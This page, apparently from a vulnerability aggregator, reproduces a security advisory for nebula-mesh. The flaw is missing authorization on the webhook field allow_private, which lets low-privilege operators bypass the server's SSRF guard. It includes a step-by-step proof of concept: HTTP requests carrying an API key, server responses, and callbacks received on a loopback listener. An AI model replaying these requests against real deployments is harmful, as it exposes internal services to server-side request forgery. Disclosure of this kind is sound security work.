🛡️ GHSA-7rx3-5wx3-5v76 — nebula-mesh

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-862 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Nebula-mesh allows non-admin operators to disable webhook SSRF protection via allow_private

Summary

Non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses.

Details

internal/api/webhooks.go:67 (handleCreateWebhookSubscription) and :110 (handleUpdateWebhookSubscription) persist operator-supplied AllowPrivate with no role check — only ownership is enforced (canAccessWebhookSub), and that's not even called on create.

internal/webhook/webhook.go:294-296:

```go

client := d.guarded

if tgt.AllowPrivate {

client = d.unguarded

}

```

d.unguarded skips the loopback/private/link-local rejection config.ValidateWebhookURL otherwise enforces.

Every other tenant-impacting toggle (network create internal/api/networks.go:21, settings PATCH internal/api/settings.go:36, CA management) gates on isActiveAdmin. allow_private is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).

PoC

Verified live against a real running instance of nebula-mesh (HEAD 2c3457c, built and run locally, no third-party requests made — the "internal service" below is a loopback listener standing in for one). Setup: nebula-mgmt init + serve on 127.0.0.1:8181; admin CLI creates operator lowpriv with -role user and mints it an API key (d984bb...c7c) — the routine, legitimate way any non-admin operator gets access. lowpriv self-mints its own CA (POST /api/v1/cas, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.

Step 1 — create-side bypass, as the non-admin lowpriv operator:

```

POST /api/v1/webhook-subscriptions HTTP/1.1

Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c

Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}

```

Actual response:

```

HTTP/1.1 201 Created

{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"}

```

201 Created, allow_private:true persisted, owner_operator_id is the non-admin lowpriv account (role: "user"). No 403 Forbidden — which is what every comparable admin-gated endpoint (POST /api/v1/networks, PATCH /api/v1/settings) returns for this same non-admin key.

Control — same non-admin key, same target, allow_private omitted (defaults false):

```

POST /api/v1/webhook-subscriptions HTTP/1.1

Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c

Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":false}

```

```

HTTP/1.1 400 Bad Request

{"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"}

```

Confirms the guard is real and active for this exact target — allow_private:true in Step 1 is what disabled it.

Step 2 — delivery-side SSRF. A Python http.server listener bound 127.0.0.1:9999, logging every request it receives. lowpriv fires a host-lifecycle event on the host it owns:

```

POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1

Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c

```

```

POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1

Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c

```

Both returned 200 OK. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:

```

RECEIVED: /internal-admin {"id":"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6","type":"host.unblocked","created_at":"2026-07-01T06:42:11.5305Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}

RECEIVED: /internal-admin {"id":"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c","type":"host.blocked","created_at":"2026-07-01T06:42:11.543246Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}

```

Same result holds for host.enrolled — any lifecycle e

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.

Weakness class

GHSA-7rx3-5wx3-5v76 is classified as CWE-862: Missing Authorization. No authorisation check is performed before carrying out a restricted action.

Affected software

GHSA-7rx3-5wx3-5v76 is recorded against 1 package.

  • github.com/forgekeep/nebula-mesh

Timeline and source

Published on 14 July 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE CWE-862
Public Exploit ✅ No
Source OSV
Published 2026-07-14
Updated 2026-08-20
Modified 2026-07-21
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/forgekeep/nebula-mesh

Similar Threats

Site Security Check

Is nebula-mesh part of your stack?

GHSA-7rx3-5wx3-5v76 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated